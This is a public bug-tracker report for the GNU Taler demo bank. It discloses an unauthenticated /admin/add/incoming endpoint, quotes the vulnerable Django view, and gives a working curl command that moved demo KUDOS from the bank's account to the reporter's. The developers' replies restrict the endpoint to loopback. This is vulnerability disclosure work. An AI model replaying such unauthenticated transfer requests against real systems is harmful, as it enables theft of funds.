View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0004561 | Taler | obsolete component | public | 2016-06-06 03:26 | 2016-10-11 15:28 |
| Reporter | Javantea | Assigned To | Marcello Stanisci | Resolution deadline | |
| Implementer | Reviewer | ||||
| Release signed by | Deployed by | ||||
| Verifier | Communicator | ||||
| Data protection authority notification required | No | ||||
| CSIRT notification required | No | ||||
| Estimated effort (hours) | Actual effort (hours) | 0 | |||
| Fast-track | No | ||||
| Work package | none | ||||
| Priority | normal | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 0.0 | ||||
| Target Version | 0.1 | Fixed in Version | 0.1 | ||
| Summary | 0004561: Taler Bank unauthenticated interface /admin/add/incoming | ||||
| Description | The Taler bank is easily susceptible to theft. I robbed the demo bank to prove the concept. I stole 800000009.000008 KUDOS from various accounts. The problem with the bank is that it uses an unauthenticated administration interface /admin/add/incoming to wire money from account to account. Instead of having no authentication, this needs the strongest sort of authentication. talerbank/app/funds.py:60 @csrf_exempt def add_incoming(request): if request.method != 'POST': raise WrongMethod('GET') data = json.loads(request.body.decode('utf-8')) schemas.validate_incoming_request(data) logger.info("add_incoming for debit account %s and credit accout %s", data['debit_account'], data['credit_account']) wire_transfer_in_out(data['amount'], data['debit_account'], data['credit_account'], data['wtid']) return JsonResponse({'outcome': 'ok'}, status=200) | ||||
| Steps To Reproduce | Find out your account number on https://bank.demo.taler.net/profile Find out the bank's profile on https://bank.demo.taler.net/public-accounts/details?account=Bank Your account number goes into the credit account, the bank's account number goes into the debit account like so (my account is 92, the bank is 1): curl -i -d '{"debit_account":1, "credit_account":92, "amount":{"value":100000001, "fraction":1, "currency":"KUDOS"}, "wtid":"55560010"}' 'https://bank.demo.taler.net/admin/add/incoming' HTTP/1.1 200 OK Server: nginx Date: Mon, 06 Jun 2016 03:05:07 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=63072000; preload {"outcome": "ok"} Check https://bank.demo.taler.net/profile and https://bank.demo.taler.net/public-accounts?account=Bank to verify that the transaction went through. | ||||
| Tags | No tags attached. | ||||
| related to | 0004568 | closed | Marcello Stanisci | listen on different socket for administrative interface |
| I'm not sure the answer is to add authentication (as otherwise the test-integration with the aggregator will fail). However, it makes sense to restrict /admin/add/incoming to loopback, which is what we do for the exchange. | |
| Also, Javantea, just to be clear: the bank is intended for demonstration-purposes only, as we needed one for the demo. So the security is not really expected to be more than minimal. :) | |
| that was fixed a while ago with location /admin/add/incoming { allow 127.0.0.1; deny all; } | |
| Except, of course, this doesn't help with the reverse-proxy setup. So ultimately we'll need to fix 0004568. But sure, this one's resolved. | |
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2016-06-06 03:26 | Javantea | New Issue | |
| 2016-06-06 03:26 | Javantea | Status | new => assigned |
| 2016-06-06 03:26 | Javantea | Assigned To | => Marcello Stanisci |
| 2016-06-06 09:52 | Christian Grothoff | Note Added: 0010865 | |
| 2016-06-06 09:54 | Christian Grothoff | Note Added: 0010866 | |
| 2016-06-06 09:54 | Christian Grothoff | Target Version | => 0.1 |
| 2016-06-07 17:31 | Florian Dold | Relationship added | related to 0004568 |
| 2016-06-14 14:44 | Marcello Stanisci | Note Added: 0010901 | |
| 2016-06-14 14:44 | Marcello Stanisci | Status | assigned => informing |
| 2016-06-14 14:44 | Marcello Stanisci | Resolution | open => fixed |
| 2016-06-14 15:12 | Christian Grothoff | Note Added: 0010904 | |
| 2016-06-14 15:12 | Christian Grothoff | Fixed in Version | => 0.1 |
| 2016-10-11 15:28 | Christian Grothoff | Status | informing => closed |
| 2022-08-23 18:26 | Christian Grothoff | Category | bank (demonstrator) => py bank (demonstrator, obsolete) |
| 2023-12-03 00:23 | Christian Grothoff | Category | py bank (demonstrator, obsolete) => obsolete componet |
| 2023-12-11 19:08 | Florian Dold | Category | obsolete componet => obsolete component |